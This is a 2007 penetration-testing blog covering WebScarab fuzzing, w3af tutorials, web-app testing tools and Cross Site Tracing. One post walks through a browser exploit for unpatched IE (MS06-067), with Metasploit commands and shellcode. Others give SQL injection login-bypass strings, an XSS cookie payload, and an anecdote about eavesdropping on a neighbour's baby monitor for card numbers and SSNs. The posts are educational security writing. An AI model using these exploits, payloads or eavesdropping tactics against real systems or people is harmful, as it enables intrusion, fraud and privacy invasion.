2007-12-09

Visio's Built in Web Spider

There is this really great feature in visio 2003 that is excellent for website spidering and mapping. I rarely find a need for a microsoft product but this one is actually very useful. If you have installed the web diagram options for visio then you can start a web site map. As soon as you select this link you are prompted for a URL. After entering the URL visio will spider the entire site and create a nice mapping of most areas of the site. It even shows you broken links. The only problem is that currently i dont see a way to log in to protected sites automatically but you can click on a node from the generated Visio and start interactive mode. This will start a browser in visio that will allow you to log in and navigate the site as well as record your movements on the visio diagram.





This could be very useful for both blackbox and white box testing. It may even uncover parts of the site you missed during your initial investigation of your audit target. I just started looking into it so i don't know how much it will assist me but






Slashdot Slashdot It!

2007-12-08

WebScarab Scripting and Fuzzing.

I have been really busy and have therefore not posted in a while. Work has really consumed me and I was studying to take the CEH (Certified Ethical Hacker) on Dec. 1st. Which a am very proud to say that I am now a Certified Ethical Hacker! Well, I have spent a lot of time working on fuzzers and ways to make my penetration testing more efficient. I have recently discovered the scripting options in webscarab (written by Rogan Dawes) and been trying to make some use of this feature. What I wrote was simple script that once an XSS exploit has been found it will write a screen scrape of that page to the file system. This way you can quickly identify which attacks worked and which ones did not using the Fuzzer plugin within WebScarab. Here is the script:


import org.owasp.webscarab.model.ConversationID;

import org.owasp.webscarab.model.HttpUrl;

import org.owasp.webscarab.model.Request;

import org.owasp.webscarab.model.Response;

import java.text.DateFormat;

import java.text.SimpleDateFormat;

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.FileReader;

import java.io.FileWriter;

import javax.swing.JOptionPane;





String xssFile = "/home/ascetik/xss.txt";
// Load xss strings
DateFormat df = new SimpleDateFormat( "yyyyMMdd-hhmmss" );

String date = df.format(new java.util.Date());

String outFile = "/home/ascetik/screenScrapes/ss-" + date + ".html";
// save file based on date
BufferedReader xssStrings = new BufferedReader(new FileReader(xssFile));

BufferedWriter bfOut = new BufferedWriter(new FileWriter(outFile));

Response response = conversation.getResponse();
// conversation Response
Request request = conversation.getRequest();
// conversation Request
byte[] hexResp = response.getContent();
// get the screen scrape
String raw = new String(hexResp);
// convert it to string

// Test the Response to see if our string is echoed back
String xss;

while ((xss = xssStrings.readLine()) != null) {

if ( raw.indexOf(xss) != -1 && xss != "") {

bfOut.write(raw);

bfOut.close();

//JOptionPane.showMessageDialog(null, "Possible XSS Found");

}



}



Now let me explain. This script is run after the response is received from the server. I have a file called xss.txt that contains xss exploits that I also use as the input source for the Fuzzer plugin (i'll explain more later) but I also use it in this script to search for the strings in the server response. If the string is found in the response there is a fairly good chance the exploit was successful.
When one of the xss string is found I write an html file that is a screen scape of the response and the file name looks like “ss-20071201-041504.html”. Which is ss + the date and time down to the second.

To use this script you need to load it to the webscarab framework via Tools->Script Manager at the top of the WebScarab application.
Then there is a tree view that displays Framework->AddConversation.
Click Add at the top.
Now every time a conversation is added to the Summary of WebScarab this script will run as long as the checkbox is selected next to the script in the Script Manager.



Using the Fuzzer
Once you have the above script loaded in the Script Manager go to the Summary tab and find a conversation that you want to fuzz. You can look at the parameters column to find a fuzzable request. Now right click and select Use as fuzz template. Select the Fuzzer tab now and you will see your request added here with all the parameters broken out.
Click Source in the middle of the Fuzzer plugin and add the same xss.txt file that you have listed in the above script. Once this is done you can use this file to fuzz the parameters in the fuzz template.
Select the fuxx source for each parameter from a drop down box.

Now click start. If any of your fuzzing executed an XSS you will see files appearing in your folder you assigned in the Script Manager.



As you can see this can be used for several different things. You could have sql injection strings listed in the fuzzer sources and then have partial sql error messages be in the file you use as input to the script you added to the Script Manager. Once you know your way around WebScarab and which hooks are available you are only limited by your imagination.


More on Webscarab and Scripting.
In the script manager you will see descriptions of the hooks available to you. I just explained the conversation options but there are Proxy options as well. You can have special scripts run on both the request and response for the proxy. I used the conversation because I could not query the responses from the fuzzer plugin via the proxy scripts. Some ideas I have thought about implementing are alerts that pop up when patterns in the responses like hidden error messages, ip address strings, etc. are found.










Slashdot Slashdot It!

2007-10-19

W3AF Tutorial (Part 2)

Overview
From the previous article we started a basic audit with w3af. This article we are going to discuss writing scripts to start an audit and then we will discuss some of the cool tools included in w3af. The next article will hopefully be about writing plugins. So stay tuned for that. There has been a new versions released on Oct 18th. This article deals with the previous version but none of the topics I have discussed have changed.

Writing StartUp scripts
If you have an audit configuration that you use over an over then scripts are a necessity. It is pain to have to set the same options for your output, auditing and discovery features if you use the same things all the time and only change the target. We will start with a script that you can configure to meet your needs.

Create a file named anything. I will call mine basic.w3af. you write the script the same way that you would actually navigate through w3af to set the settings. So the script below will set all out audit, discovery, and output plugins so that these do not need to be set up after we start w3af.

# Basic startup script
plugins
output console,htmlFile
output
output config htmlFile
set verbosity 10
back
output config console
set verbosity 5
back

# could change this to audit all but just doing Cross Site Scripting Now
audit xss
audit

discovery webSpider,pykto,hmap,allowedMethods
discovery
back

target
set target http://localhost:8081
back


You can also add start to the end of this file and it will automatically start profiling the target when run. To run just type:
>./w3af –s basic.w3af

Looks like this:
$ ./w3af -s basic.w3af
w3af>>> plugins
w3af/plugins>>> output console,htmlFile
w3af/plugins>>> output
Enabled output plugins:
htmlFile
console
w3af/plugins>>> output config htmlFile
w3af/plugin/htmlFile>>> set verbosity 10
w3af/plugin/htmlFile>>> back
w3af/plugins>>> output config console
w3af/plugin/console>>> set verbosity 5
w3af/plugin/console>>> back
w3af/plugins>>> audit xss
w3af/plugins>>> audit
Enabled audit plugins:
xss
w3af/plugins>>> discovery webSpider,pykto,hmap,allowedMethods
w3af/plugins>>> discovery
Enabled discovery plugins:
allowedMethods
webSpider
hmap
pykto
w3af/plugins>>> back
w3af>>> target
w3af/target>>> set target http://localhost:8081
w3af/target>>> back
w3af>>>




Now just type start and your audit will begin.


Tools included in w3af
There are a few really cool tools in w3af. Move to the tools folder and list them.


w3af/tools>>> list
base64decode
base64encode
gencc
md5hash
sha1hash
urldecode
urlencode
w3af/tools>>>


With W3AF you can Generate Credit Card numbers and hashes. Open w3af and navigate to the tools folder. The gencc command can generate credit card numbers to test applications or what ever you want. It will generate the following card numbers
- mastercard
- visa16
- visa13
- amex
- discover
- diners
- enRoute
- jcb15
- jcb16
- voyager

Run the following commands to create a 16 digit visa CC#.


w3af/tools>>> run gencc -t visa16
Generated VISA 16 digit card:
4916740510259019
w3af/tools>>>


Create a sha1 hashes as follows:

w3af/tools>>> run sha1hash -e 49167405102590194916740510259019
4b52f4ce218c72a18e644f40550b2966767137c9
w3af/tools>>>


It also has feature to perform urlencoding and decoding which can come in handy when testing or auditing an application. These commands are simple enough…

w3af/tools>>> run urlencode
w3af - urlencoder

Options:
-h Print this help message.
-s Characters that should not be encoded, default is / .
-e String to be encoded.

Example: urlencode -s &% -e encodeMeNow



w3af/tools>>> run urldecode
w3af - urldecoder

Options:
-h Print this help message.
-d String to be decoded.

Example: urldecode -d decodeMeNow
w3af/tools>>>



That’s all I have so far. Currently working on w3af plugins and should have something ready soon to show. Please add any comments if you may have something to contribute or find any inaccuracies.









Slashdot Slashdot It!

2007-10-16

HeapLib and Shellcode

Overview
This will be a quick article about using metasploit to generate shellcode. The shell code I will generate will be specific to using HeapLib and the keyframe buffer overflow exploit demonstrated by Alexander Sotirov. You can find out more about Alexander Sotirov's work here and download the source code from the blackhat.com archives here. I will use his source code and add my generated shellcode so that we can execute any command on the windows system when ever a user navigates to the webpage.

First off any user attempting to exploit this should know a few things. This exploit has been fixed in the most recent versions of IE and does not work in any other browser than an un-patched IE browser. I use a virtual machine to run all my expliots.
Generating Shellcode + NOP Slide
To execute this vulnerability we need a nop sled + shellcode of 870 bytes. This is the limit used by HeapLib. Start Metasploit and execute the following commands.


msf > use windows/exec
msf > use windows/exec
msf payload(exec) > show options


Module options:


Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
EXITFUNC seh yes Exit technique: seh, thread, process


msf payload(exec) >
msf payload(exec) > set CMD calc.exe
CMD => calc.exe
msf payload(exec) > set EXITFUNC process
EXITFUNC => process
msf payload(exec) > show options


Module options:


Name Current Setting Required Description
---- --------------- -------- -----------
CMD calc.exe yes The command string to execute
EXITFUNC process yes Exit technique: seh, thread, process


Calculate the Length of the NOP Slide
To figure out how the length of your NOP slide we will subtract 870 – the length of shellcode.
If your just type generate you will be displayed with the length in bytes of the shellcode.

msf payload(exec) > generate
# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" +
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" +
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" +
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" +
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" +
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" +
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" +
"\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff\xe7" +
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
msf payload(exec) >



So we need a NOP slide of 870 – 121 = 749. The -s option allows us to set a value for a NOP slide to occur before the shellcode and we also need out shellcode to be in javascript. I know that metasploit generates shellcode in java script but there isn't an option that i know of to generate it on the fly. So i wrote a simple java program to to create the javascript from the Java Shellcode. Below is the javascript, anyone attempting my to run this just needs to copy it into a file named toJS.java, change the shell array to your shellcode, and run it. Its really simple to do.

Generate the PayLoad


msf payload(exec) > generate -s 749 -t java
/*
* windows/exec - 870 bytes
* http://www.metasploit.com
* NOP gen: x86/opty2
* EXITFUNC=process, CMD=calc.exe
*/
byte shell[] = new byte[]
{
(byte) 0x7b, (byte) 0x78, (byte) 0x71, (byte) 0x1c, (byte) 0x4b, (byte) 0x66, (byte) 0x42, (byte) 0x86,
(byte) 0xf9, (byte) 0x77, (byte) 0x04, (byte) 0x97, (byte) 0x49, (byte) 0xb2, (byte) 0x91, (byte) 0x0b,
(byte) 0xd5, (byte) 0x72, (byte) 0x7f, (byte) 0x71, (byte) 0x35, (byte) 0x99, (byte) 0xb4, (byte) 0x7d,
...
...
...
0x8b,
(byte) 0x68, (byte) 0x08, (byte) 0x89, (byte) 0xf8, (byte) 0x83, (byte) 0xc0, (byte) 0x6a, (byte) 0x50,
(byte) 0x68, (byte) 0x7e, (byte) 0xd8, (byte) 0xe2, (byte) 0x73, (byte) 0x68, (byte) 0x98, (byte) 0xfe,
(byte) 0x8a, (byte) 0x0e, (byte) 0x57, (byte) 0xff, (byte) 0xe7, (byte) 0x63, (byte) 0x61, (byte) 0x6c,
(byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
msf payload(exec) >



Convert Java to JavaScript

Copy and paste the generated shellcode into my java app. The code is listed below.


public class toJS {




static int LENGTH=870;

static byte shell[] = new byte[]

{

// your shell code goes here

};

public static void main(String[] args) {

String shell2 = "";

for (int i=0; i< LENGTH; i=i+2)

{

int b1 =((byte) shell[i+1] << 8) & 0x0000ff00;

b1 = b1 | ((byte) shell[i] & 0x000000ff);

String word = Integer.toHexString(b1);

if(word.length()==0)

word = "0000";

else if (word.length() ==1)

word = "000" + word;

else if( word.length() ==2 )

word = "00" + word;

else if( word.length() ==3 )

word = "0" + word;



shell2 += "%u" + word;

}

System.out.println(shell2);

}



}



Run the following commands and your output should look like the following:


ascetik@ascetik:~$ javac toJS.java
ascetik@ascetik:~$ java toJS
%ub49f%u91be%u1c35%ud62a%u7d73%u853c%u4ed5%u98b2%u4337%ub549%u7290%u2c04%u0171%u21e3%u28e1%ubbf5%u4905%u8915%u27e0%ub71d%ub497%u3593%ud187%u78eb%ub61c%u19b9%u7df9%u2a3c%u4afc%u6624%ue286%ud56b%ua82f%ube14%u3899%u42d4%u98b2%u7e46%ub03d%u7fb5%u2d70%u9625%u9240%u7441%u760d%u777c%u4e7b%uf811%u679f%u7a47%u1a75%u4ffd%u4334%u0cb3%ud684%u91b1%u4b79%ua937%u48b8%u9bbf%uba3f%u7573%ue300%uba3c%u3fb2%ub3b4%u0276%ub8f5%u3198%u27eb%u71a8%ufe01%uf9c1%u7a73%u9005%u6779%u2d7c%ua92c%u701c%u804e%u29e2%u49e0%u744f%u7d46%u043d%u0c9f%ub6b1%u3796%ud303%uc0ff%ubbd5%u15b5%u4a4b%u1d99%ufc0b%u3a25%u47f8%u0db9%ub741%u7b92%u4824%u2fbf%u3491%ud032%u97fd%u4293%u7ebe%u6677%u7fb0%u7278%u9b35%ue109%u1440%u8143%u7fd6%ue339%u2075%ue0f6%ud428%u7398%u7a04%u1d14%u70be%u477e%u7d7b%u4649%u4fb2%u789f%u742c%u4b05%u850c%ua8fc%u48b8%u3477%ub93c%ub137%u2767%u9015%u4a40%u9296%ue212%ue118%uf80a%u1b41%ud6f7%ua9b4%u2472%u23bb%u9bf9%ufd33%u2d2f%ub33f%u2297%u25eb%uba0d%u7176%u1c79%ub5b0%ub699%u8843%u4ef5%u7c42%ud513%ud43b%ub793%ubf3d%u0891%u35e2%ue383%u7770%u6679%ub891%u2b7a%u4bfc%u7e90%u7376%u787d%u9340%u2714%u1d71%u437c%u309b%u4ee0%u75a9%u0c24%u98b9%ud210%ubff8%u29b7%u37e1%u3c74%u923f%ubb1c%u97b4%u4241%ud469%u2846%ub6d5%u2d2c%u359f%u25be%u4f7f%u3134%u67f9%u9947%u2a96%u04f5%u0549%u7248%uba3d%u4ab2%ub366%ub1b5%u157b%ueb01%ufd0b%ud63b%u2fb0%ua80d%u7a24%ue021%u1970%ud4c0%u8334%u79e1%u6778%u25ba%u2c72%u9f47%u0d97%u4b14%u094f%u46e3%u1d92%uf633%u7ceb%u3566%u9640%u81bf%u2fe2%u3f9b%u157d%ub5a9%u05be%u717b%ua841%ubb27%u3c99%u137f%u1cfc%u7690%u0c74%u8949%u73d6%ub32d%uf90a%u3998%u4ed5%u43b7%u93b2%ub9b1%ufd6b%u4a42%u77b4%ub037%uf887%u3d48%u75b6%u047e%uf585%ub891%u7770%u747b%ufc38%ue186%u4073%u3a7f%u76eb%u7c35%u6671%u88b4%u7de2%ue030%u4b3f%ub22f%ub067%ub846%u0447%u2bb6%ud5d2%u9798%u272d%ub943%ud41b%u18b5%u99f8%u4896%u2c7a%u37be%ufd10%ud020%ue3d1%u914e%u750c%u4178%ud311%u3df9%u1dbb%u797e%u2305%ua8f5%u9b93%u4f92%u729f%u3242%u12e2%u7fd6%u0d72%u90bf%u087c%u15e3%ub3b7%ubab1%u497b%u4a79%u0074%u25e0%u347a%u1470%u1c73%u3c7e%u84a9%uf7c1%u24eb%u4776%u7da8%uf802%u1a71%u24e1%u98be%u9049%u779f%u2d05%u0db6%u0399%ub3f5%u3c4b%u804e%u48d5%ubf67%u43bb%ub89b%ub23f%u7542%u3d1c%u344f%u2537%u78d4%u6904%ub1f9%u462f%u9266%u41b4%u4a93%u22ba%u96fc%u1db7%u27d6%ub90c%u15a9%ub597%u3540%ub02c%u9114%ufcfd%u44e8%u0000%u8b00%u3c45%u7c8b%u7805%uef01%u4f8b%u8b18%u205f%ueb01%u8b49%u8b34%uee01%uc031%uac99%uc084%u0774%ucac1%u010d%uebc2%u3bf4%u2454%u7504%u8be5%u245f%ueb01%u8b66%u4b0c%u5f8b%u011c%u8beb%u8b1c%ueb01%u5c89%u0424%u5fc3%uf631%u5660%u8b64%u3046%u408b%u8b0c%u1c70%u8bad%u0868%uf889%uc083%u506a%uf068%u048a%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u2e63%u7865%u0065
ascetik@ascetik:~$


Putting It All Together
Open the file ms06-067-keyframe.html in the downloaded source code from the BlackHat Site and replace his shell code with your genereted shellcode. Look for var shellcode. Load it to your server and run and run your unpatched Windows XP IE browser at it and watch your calulator pop up on the screen. YAY your done!

Or Just Use Metasploit for Everything
You can also use metaploit to automate every thing and let metasploit be your web server too just by doing the following commands:


msf > use windows/browser/ms06_067_keyframe
msf exploit(ms06_067_keyframe) > set URIPATH exploitme
URIPATH => exploitme
msf exploit(ms06_067_keyframe) > set TARGET 0
TARGET => 0
msf exploit(ms06_067_keyframe) > set PAYLOAD windows/exec
PAYLOAD => windows/exec
msf exploit(ms06_067_keyframe) > set CMD calc.exe
CMD => calc.exe
msf exploit(ms06_067_keyframe) >


Now to run the exploit.


msf exploit(ms06_067_keyframe) > exploit
[*] Using URL: http://192.168.1.101:8080/exploitme
[*] Server started.
[*] Exploit running as background job.
msf exploit(ms06_067_keyframe) >


Point your browser to http://192.168.1.101:8080/exploitme and the calculator will run from the browser.







Slashdot Slashdot It!

2007-10-03

W3AF Tutorial (Part 1)

Overview
w3af stands for web auditing and attack framework.I have heard some say that it is the metasploit for web applications. w3af is basically a free open source web application scanner. w3af has many plugins that are divided into attack, audit, exploit, discovery, evasion, bruteforce, mangle and a few others. The code is well commented and written in python so writing your own exploits and plugins should be trivial but i cannot say for sure since i have not tried as of yet. I will spent more time on this in later articles. This will be the first of many w3af tutorials.

Getting started
I have installed it on both ubuntu fiesty and cygwin for windows. Both installs are relatively painless. Just follow the instructions in the w3afUsersGude and you will be fine.

Once you have all the prerequisites then you can start w3af as follows:

$ ./w3af
w3af>>>

Type help will give you a list of options.

w3af>>> help
The following commands are available:
help You are here. help [command] prints more specific help.
url-settings Configure the URL opener.
misc-settings Configure w3af misc settings.
session Load and save sessions.
plugins Enable, disable and configure plugins.
start Start site analysis.
exploit Exploit a vulnerability.
tools Enter the tools section.
target Set the target URL.
exit Exit w3af.
w3af>>>


First we need to talk about how the interface for w3af is configured. You move forward by typing a given option and back by typing back. Type view to see a list of configurable options and use the set command to change the options. Below we will set the target. This will be the url that we will be auditing.

Configuration:

w3af>>> target
w3af/target>>> help
The following commands are available:
help You are here. help [command|parameter] prints more specific help.
set Set a parameter value.
view List all configuration parameters and current values.
back Return to previous menu.
w3af/target>>> view
Parameter Value Description
========= ===== ===========
target A comma separated list of URLs
w3af/target>>> set target http://localhost:8080
w3af/target>>> view


Now lets configure our plugins.

w3af/target>>> back
w3af>>> plugins
w3af/plugins>>> help
The following commands are available:
help You are here. help [command] prints more specific help.
list List all available plugins.
audit Enable and configure audit plugins.
bruteforce Enable and configure bruteforce plugins.
discovery Enable and configure discovery plugins.
evasion Enable and configure evasion plugins.
grep Enable and configure grep plugins.
mangle Enable and configure mangle plugins.
output Enable and configure output plugins.
back Return to previous menu.


To audit a web application we need at least three plugins configured. Audit, discovery, and output. Typing list plus the plugin will show all available options for the plugin. If you type list audit you will see all the auditing extensions like xss, xsrf, sql injection, ldap injection, etc. Type list discovery will display all discovery options.
Just typing the plugin name (i.e audit) will display which options are loaded. By default there are no options configured for any of the plugins. You will have to add them. Some examples would be:
 w3af/plugins>>> audit xss,xsrf,sqli 
To select a few options to load.
or
 w3af/plugins>>> audit all 
To load all options.


I am going to configure our webserver audit to test for Cross site Scripting, typical web server vulnerabilities, and we want it to spider (crawl) the entire site. We also want to save the results into an html audit report. To do this we need to run the following commands:


w3af/plugins>>> audit xss
w3af/plugins>>> audit
Enabled audit plugins:
xss
w3af/plugins>>> discovery webSpider,pykto,hmap
w3af/plugins>>> discovery
Enabled discovery plugins:
webSpider
pykto
w3af/plugins>>> output console,htmlFile
w3af/plugins>>> output
Enabled output plugins:
htmlFile
console
w3af/plugins>>> output config htmlFile
w3af/plugin/htmlFile>>> view
Parameter Value Description
========= ===== ===========
verbosity 0 Verbosity level for this plugin.
httpFileName output-http.txt File name where this plugin will write HTTP requests and responses
reportDebug False True if debug information will be appended to the report.
fileName report.html File name where this plugin will write to


I have just configured a basic audit with w3af to test for XSS. We initially set the target to be http://localhost/ so it will scan my local apache server. I used pykto which is a perl version of nikto to scan for webserver vulnerabilities. The webSpider plugin will do all the url crawling and create lists of urls to audit. The output plugins will write the results to the command line and the html file called report.html in your application folder. The html output will not be available until the audit is complete. hmap fingerprints the server. The output-http.txt records server requests and responses.

Start the audit as follows:

w3af/plugin/htmlFile>>> back
w3af/plugins>>> back
w3af>>> start


Be prepared to wait a while for the audit to complete.

w3af>>> start
Auto-enabling plugin: discovery.allowedMethods
Auto-enabling plugin: discovery.error404page
Auto-enabling plugin: discovery.serverHeader
The Server header for this HTTP server is: Apache/2.2.3 (Ubuntu) PHP/5.2.1
Hmap plugin is starting. Fingerprinting may take a while.
The most accurate fingerprint for this HTTP server is: Apache/2.0.55 (Ubuntu) PHP/5.1.2
pykto plugin is using "Apache/2.0.55 (Ubuntu) PHP/5.1.2" as the remote server type. This information was obtained by hmap plugin.
pykto plugin found a vulnerability at URL: http://localhost/icons/ . Vulnerability description: Directory indexing is enabled, it should only be enabled for specific directories (if required). If indexing is not used, the /icons directory should be removed. The vulnerability was found in the request with id 128.
pykto plugin found a vulnerability at URL: http://localhost/doc/ . Vulnerability description: The /doc directory is browsable. This may be /usr/doc. The vulnerability was found in the request with id 1865.
pykto plugin found a vulnerability at URL: http://localhost/\> . Vulnerability description: The IBM Web Traffic Express Caching Proxy is vulnerable to Cross Site Scripting (XSS). CA-2000-02. The vulnerability was found in the request with id 3385.
New URL found by discovery: http://localhost/
New URL found by discovery: http://localhost/test2.html
New URL found by discovery: http://localhost/xst2.html
New URL found by discovery: http://localhost/xst.html
New URL found by discovery: http://localhost/test.html


Here is an example of the results.html







Slashdot Slashdot It!

2007-09-25

Hacking your kids

Lets talk about hacking your kids! Yes those small carbon based units that crawl around on the floor, drool, and terrorize the neighbors are actually a data security risk. And its not just a risk to your reputation because little Timmy ran around all day yesterday telling the neighbors about the fight you had with mommy. There are other issues much deeper and far more damaging to your privacy.

Here are the security threats I found relevant recently.
Scenario 1 (Your kids are the back door)
Recently while conducting a pen test of a web application we were able to escalate our privileges and gain access to the entire database though a SQL injection vulnerability. My colleague says "hey this username looks really familiar. I think I know this guy." So we query his password as part of the evidence we need to make our case that SQL injection really is bad. (Upper management does not always agree unless you can give them shock and awe). Once the password is revealed, all is made clear how my colleague knows this user. His wife happens to be involved in a social event where this user's kid also belongs. This particular password is a maneuver the kid performs in a sport he is interested in. It was the combination of the sport plus a significant date in the users life. To make matters worse it was also his kids myspace page screen name!!!! Just knowing a little information about this user would make it relatively easy to gain access to this account. Kids are your life and you can't help talking about them and their interests. This is also why they don't make good passwords!

Scenario 2 (Babies are bugging my house!)
I know quite alot of people with babies right now. Its my age bracket for sure. They are everywhere! Crawling, drooling, spitting up, and listening for bad habits to pick up on. But one thing that is also common about all people that have babies is baby monitors. And some people never think to turn the base off! Who needs the patriot act when you have wireless communications bleeding into the neighborhood voluntarily. This is the incident that inspired me to write this article. We where listening in on the conversation with the baby monitor and it becomes apparent that this user is talking to his credit card company about a dispute. We are given the cvv, the full number, SSN and his address which should not be hard to find since you know its within a one or 2 house radius. And lets say you don't know the address and you want to find it. Here are the clues.... look for parents with babies, toys in the yard, or pretend to be a Jehovah's Witness and walk door to door. Your friend sitting in the car with the baby monitor will hear the knock on the door and then you will know.

Conclusion
I know i'm prolly speaking to the choir for anyone actually reading this but here is my advice. Be careful about the information you use to protect your self. Use strong passwords letters numbers and special characters if you can. I like passphrases. They are much harder to guess or brute-force and it makes it easier to remember a 30 character password this way. (i.e. IL1k32B10ggAb0tP3nT3st1n9 ). Try not to use anything as a password that is really important to you. More than likely you talk about it alot and your kid is blogging about it. A little reconnaissance and you are pwnd! Be careful what you say around the baby monitor base. This should be obvious. Anyone within at least a 2 house radius can hear you if they want to.




Slashdot Slashdot It!

2007-09-23

Pen Testing Web Applications 101

There are several tools that should be in every web application pen testers tool kit. I will spend a little time talking about each of these and what functions they perform. I cannot hope to cover all the topics of Web App Pen Testing in one blog post. This is my essential list of tools that is use. If anyone has any ideas or thinks i may missed anything then please add it to the comments. Id love to know what other people use and think is relevant. If you are new to pen testing web apps then this post should get you started.

FireFox
My main tool to start pen testing a web application is FireFox, loaded down with a ton of extensions. You have to interact with the application as a user and not just turn your favorite scanner loose on it. I have never found anything with a scanner that i would not have found by manually testing the application. I have, however, found many more vulnerabilities that the scanners could never dream of. My list of extensions follows:
  1. TamperData - Its a quick and dirty local proxy that allows you to intercept requests and modify them before submitting them to the server.
  2. WebDeveloper Tool Bar - Essential. Allows you quick access to view page source, see form details, display and modify hidden fields, etc.
  3. Add N Edit Cookies - Great for cookie poisoning... it allows you to edit cookies. Nuff said.
  4. ShowIP- Displays the ip address of the server you are connected to as well as hot links to tools on dnsStuff.com.
  5. FoxyProxy - Allows you to switch proxies on the fly or by pattern. I don't know what i would do with out this. I use it to switch between my corp proxy at work and home, WebScarab or Burp, create patterns so that the site i'm testing always goes though WebScarab but any other site goes direct.
Proxies
A local proxy is essential for testing any web application. These allow you to perform a Man In the Middle attack on your own browser session. This is useful in bypassing client side validations like limiting the number of characters in an inputbox or javasctipt that checks for numeric only characters. These also allow you to poison cookies, change GET to POST, tamper with the Headers, add POST parameters, modify hidden fields, any part of the http request can be modified before submitting it to the server. Below is a list of proxies i prefer.
  1. WebScarab - allows importing of WSDL's for fuzzing web services, spider functionality , manual requests, and session id analysis, encoding/decoding features.
  2. Burp Suite - spider functionality, replay requests, fuzzing features.
  3. TamperData - more limited of the 3 but has some great features. Do not have to change your proxy setting to use it, has XSS and SQL injection presets, encoding/decoding features. Does not have functionality to modify raw http requests.
Other OpenSource Tools
  1. Nikto - Looks for vulnerabilities in web servers.
  2. w3af - Web Attack and Auditing Framework. Im still testing this out at the moment. It provides checks for common web application vulnerabilities like SQL injection, XSS, url guessing, etc and generates an html report on the findings.
  3. netcat - a networking utility to read and write data to network connections.
Gray Matter
This is the most important tool. Really understand how the application is built and what technologies it employs. Understand the authorization model, what type of data does the application handle, how is it stored, who has access to the data, what are all the possible entry points into the application (i.e. flat files, external databases, JMS...), what is the password policy, how many failed login attempts before lockout, are there audit and logging mechanizes. You have to understand the box to think outside of it.

Fuzzing
Error messages are your friend. Try using all the tools above to inject data into the application that it is not expecting and see how it reacts. If you have source code then you can see what will work and what will not. Try to forcefully browse to urls that are either outside your role or without even logging in. I have been granted access to all the admin features of many applications just because the developers didn't think that people can guess URLs and did not validate the sessions before performing updates.
Look for urls that update data. Try injecting SQL characters link a tick mark into the POST parameters of these and observe how the application reacts. Always try logging in with pwnd' OR 1=1 -- or a variation like pwnd' OR '1'='1' and rownum=1 -- .
Study how the application is using cookies and sessions. How much data is stored server side vs client side(i.e. browser). Anything sent to the client can be modified before resubmitting it to the server.


I hope this in informative to some people. This is what seems to work well for me. Again i would love to hear about what other people use so please feel free to leave comments.







Slashdot Slashdot It!

2007-09-22

Cross Site Tracing

Overview
When i first discovered XST I thought this seems really bad. TRACE is a method accepted by the web server like GET, POST, etc but TRACE basically echoes back the htttp data that you throw at it. Its usually used for debugging and should not be enabled on your production environment after it has been loaded. Since it echoes back the request, it is highly susceptible to Cross Site Scripting. The Goal here is to collect the users session cookie.

The problem is that I cannot think of a way that a user could be mis-lead into executing a XST vulnerability that would be advantagous to the attacker. There are a couple of ways to execute XST... Java sockets, Microsoft.XMLHTTP activeX object, and Flash. The problem with Java sockets is that they will create their own connections separate from the browser and therefore not transmit cookies or sessions. It seems possible with the other two but all three seem to need an existing XSS vulnerability. The only thing that XST gets you is the possibility to steal httpOnly cookies. HttpOnly cookies are not accessible with javascript. To me the real vulnerability would be the XSS and not the XST.


How to test if your server is vulnerable to XST.
To test if your server is vulnerable I will use Burp Suite. Open Burp and choose repeater. Change the request to something similar to :
TRACE / HTTP/1.0
Header1: <script>alert(document.cookie);</script>

The reply should look like this if TRACE is enabled:

HTTP/1.1 200 OK
Date: Sun, 23 Sep 2007 02:48:05 GMT
Server: Apache/1.3.34 (Ubuntu) mod_perl/1.29
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Header1: <script>alert(document.cookie);</script>






If you use WebScarab as your proxy then select Manual Request and perform the same steps.

Defenses
Prevention of this vulnerability is really simple. If your using apache then you need to install the mod_rewrite engine. Add the following lines to your httpd.conf file.

RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]

If your using IIS then you need to filter out everything but GET, POST, and HEAD with urlScan

References
http://msdn2.microsoft.com/en-us/library/ms533046.aspx
http://jeremiahgrossman.blogspot.com/2007/04/xst-lives-bypassing-httponly.html
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
http://www.microsoft.com/technet/security/tools/urlscan.mspx





Slashdot Slashdot It!